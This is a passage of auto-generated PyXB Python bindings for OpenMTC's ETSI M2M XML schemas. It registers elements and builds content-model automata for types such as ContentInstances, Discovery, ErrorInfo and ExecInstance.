pyxb.namespace.ExpandedName(Namespace, u'currentNrOfInstances'),
pyxb.binding.datatypes.long, scope=ContentInstances,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
25, 4)))
ContentInstances._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'currentByteSize'),
pyxb.binding.datatypes.long, scope=ContentInstances,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
26, 4)))
ContentInstances._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'latest'), ReferenceToNamedResource,
scope=ContentInstances, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
28, 4)))
ContentInstances._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'oldest'), ReferenceToNamedResource,
scope=ContentInstances, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
29, 4)))
ContentInstances._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'contentInstanceCollection'),
ContentInstanceCollection, scope=ContentInstances,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
31, 4)))
def _BuildAutomaton_37():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_37
del _BuildAutomaton_37
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
13, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
14, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
15, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
16, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
18, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
19, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
20, 12))
counters.add(cc_6)
cc_7 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
21, 12))
counters.add(cc_7)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
13, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
14, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'currentNrOfInstances')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
15, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'currentByteSize')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
16, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'contentInstanceCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
18, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'latest')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
19, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'oldest')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
20, 12))
st_6 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_7, False))
symbol = pyxb.binding.content.ElementUse(ContentInstances._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
21, 12))
st_7 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_7)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_6, True)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_6, False)]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_7, True)]))
st_7._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
ContentInstances._Automaton = _BuildAutomaton_37()
ContentInstanceCollection._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'contentInstance'), ContentInstance,
scope=ContentInstanceCollection, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
12, 4)))
def _BuildAutomaton_38():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_38
del _BuildAutomaton_38
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
36, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(
ContentInstanceCollection._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'contentInstance')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstances.xsd',
36, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
ContentInstanceCollection._Automaton = _BuildAutomaton_38()
Discovery._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'matchSize'),
pyxb.binding.datatypes.long, scope=Discovery,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 15,
4)))
Discovery._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'truncated'),
pyxb.binding.datatypes.boolean, scope=Discovery,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 16,
4)))
Discovery._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'discoveryURI'), AnyURIList,
scope=Discovery, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd', 17,
4)))
def _BuildAutomaton_39():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_39
del _BuildAutomaton_39
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd',
10, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd',
11, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd',
12, 12))
counters.add(cc_2)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(Discovery._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'matchSize')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd',
10, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(Discovery._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'truncated')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd',
11, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(Discovery._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'discoveryURI')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/discovery.xsd',
12, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
st_2._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
Discovery._Automaton = _BuildAutomaton_39()
ErrorInfo._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'statusCode'), StatusCode,
scope=ErrorInfo, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 186,
4)))
ErrorInfo._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'additionalInfo'),
pyxb.binding.datatypes.string, scope=ErrorInfo,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/errorInfo.xsd', 17,
4)))
def _BuildAutomaton_40():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_40
del _BuildAutomaton_40
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/errorInfo.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/errorInfo.xsd',
13, 12))
counters.add(cc_1)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(ErrorInfo._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'statusCode')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/errorInfo.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(ErrorInfo._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'additionalInfo')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/errorInfo.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
st_1._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
ErrorInfo._Automaton = _BuildAutomaton_40()
def _BuildAutomaton_41():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_41
del _BuildAutomaton_41
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = set()
symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(
process_contents=pyxb.binding.content.Wildcard.PC_lax,
namespace_constraint=pyxb.binding.content.Wildcard.NC_any),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiPerformanceLog.xsd',
35, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
LogDataFile._Automaton = _BuildAutomaton_41()
RankedAnList._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessNetwork'),
pyxb.binding.datatypes.token, scope=RankedAnList,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiRcatParamList.xsd',
37, 4)))
def _BuildAutomaton_42():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_42
del _BuildAutomaton_42
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(RankedAnList._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessNetwork')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiRcatParamList.xsd',
32, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
RankedAnList._Automaton = _BuildAutomaton_42()
OccuredEvents._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'currentIndex'), trapEventIndex,
scope=OccuredEvents,
documentation=u'Indicates the rank of the last occured event\n in the table of timeStamps.\n ',
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiTrapInstance.xsd',
35, 12)))
OccuredEvents._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'trapEventTimeStamp'),
pyxb.binding.datatypes.dateTime, scope=OccuredEvents,
documentation=u'It is a circular buffer of timeStamps of the\n last occured events. The number of logged events is\n limited to 100.\n ',
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiTrapInstance.xsd',
42, 12)))
def _BuildAutomaton_43():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_43
del _BuildAutomaton_43
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=1, max=100L,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiTrapInstance.xsd',
42, 12))
counters.add(cc_0)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(OccuredEvents._UseForTag(
pyxb.namespace.ExpandedName(None, u'currentIndex')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiTrapInstance.xsd',
35, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(OccuredEvents._UseForTag(
pyxb.namespace.ExpandedName(None, u'trapEventTimeStamp')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiTrapInstance.xsd',
42, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True)]))
st_1._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
OccuredEvents._Automaton = _BuildAutomaton_43()
ExecInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=ExecInstance,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
ExecInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=ExecInstance,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
ExecInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=ExecInstance,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
ExecInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=ExecInstance,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
ExecInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=ExecInstance,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
ExecInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'execStatus'), ExecStatus,
scope=ExecInstance, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
29, 4)))
ExecInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'execDisable'),
pyxb.binding.datatypes.anyURI, scope=ExecInstance,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
30, 4)))
ExecInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'execResult'), ExecResultList,
scope=ExecInstance, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
42, 4)))
def _BuildAutomaton_44():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_44
del _BuildAutomaton_44
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
13, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
14, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
15, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
16, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
19, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
20, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
21, 12))
counters.add(cc_6)
cc_7 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
24, 12))
counters.add(cc_7)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
13, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
14, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
15, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
16, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'execStatus')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
19, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'execResult')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
20, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'execDisable')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
21, 12))
st_6 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_7, False))
symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd',
24, 12))
st_7 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_7)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
